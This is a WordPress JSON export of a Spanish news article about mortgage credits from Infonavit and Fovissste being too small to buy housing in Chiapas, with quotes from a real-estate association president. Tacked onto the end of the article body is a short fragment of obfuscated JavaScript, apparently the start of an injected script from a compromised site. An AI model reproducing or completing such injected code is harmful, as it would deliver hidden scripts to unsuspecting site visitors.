{"id":16834,"date":"2024-07-21T22:55:40","date_gmt":"2024-07-21T22:55:40","guid":{"rendered":"https:\/\/reporteciudadanochiapas.com\/?p=16834"},"modified":"2024-07-21T22:55:40","modified_gmt":"2024-07-21T22:55:40","slug":"pese-a-modificaciones-creditos-no-alcanzan-para-comprar-vivienda-en-chiapas","status":"publish","type":"post","link":"https:\/\/reporteciudadanochiapas.com\/?p=16834","title":{"rendered":"Pese a modificaciones, cr\u00e9ditos no alcanzan para comprar vivienda en Chiapas"},"content":{"rendered":"\n
\"\"<\/figure>\n\n\n\n

Alfonso Mart\u00ednez.<\/p>\n\n\n\n

21 de julio del 2024. Tuxtla Guti\u00e9rrez. – En Chiapas, los altos costos de las propiedades han dejado a muchos ciudadanos sin la posibilidad de adquirir una vivienda adecuada.<\/p>\n\n\n\n

Pese a los cr\u00e9ditos ofrecidos por instituciones como Infonavit y Fovissste, dijo Odeth Herrera, presidenta de la Asociaci\u00f3n Mexicana de Profesionales Inmobiliarios (AMPI) Secci\u00f3n Tuxtla Guti\u00e9rrez Chiapas A.C.<\/p>\n\n\n\n

Herrera ha se\u00f1alado que los montos de estos cr\u00e9ditos est\u00e1n muy por debajo de los precios reales del mercado inmobiliario, complicando a\u00fan m\u00e1s el acceso a la vivienda para las familias chiapanecas.<\/p>\n\n\n\n

“Desafortunadamente, como siempre lo hemos platicado, los costos de las propiedades siempre van muy por arriba de lo que son los montos de cr\u00e9ditos, ya sea de los cr\u00e9ditos Infonavit, el cr\u00e9dito Fovissste o los cr\u00e9ditos bancarios”, declar\u00f3 Herrera.<\/p>\n\n\n\n

Esta situaci\u00f3n, agreg\u00f3, se debe en parte a malas pr\u00e1cticas de algunos asesores inmobiliarios, quienes en complicidad con peritos valuadores inflan los precios de las viviendas.
“Estos asesores solicitan a los peritos que eleven un poco m\u00e1s el costo de las viviendas para sacar algunos gastos dentro del monto del cr\u00e9dito. Pero lo \u00fanico que logramos con eso es encarecer m\u00e1s las viviendas”, coment\u00f3.
La ubicaci\u00f3n de las propiedades tambi\u00e9n influye significativamente en su costo. Herrera explic\u00f3 que el valor por metro cuadrado var\u00eda dependiendo de si la zona es de inter\u00e9s medio, social o residencial.
Adem\u00e1s, la disponibilidad de servicios como agua, drenaje, electricidad, y la proximidad a escuelas, supermercados y oficinas de gobierno, entre otros, son factores determinantes en la valuaci\u00f3n de una propiedad.<\/p>\n\n\n\n

“Seg\u00fan lo que nos dicen los peritos valuadores, tiene mucho que ver la ubicaci\u00f3n, los metros cuadrados del terreno, los metros cuadrados de la construcci\u00f3n, los acabados en esa construcci\u00f3n y los servicios con los que cuentas”; a\u00f1adi\u00f3 Herrera.<\/p>\n\n\n\n

Esta combinaci\u00f3n de cr\u00e9ditos insuficientes y la inflaci\u00f3n artificial de los precios est\u00e1 generando una crisis de vivienda en Chiapas. Es necesario que se implementen medidas para regular el mercado y asegurar que los cr\u00e9ditos otorgados por Infonavit y Fovissste sean suficientes para que las familias puedan acceder a una vivienda adecuada y asequible.<\/p>\n\r\n(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return ","protected":false},"excerpt":{"rendered":"

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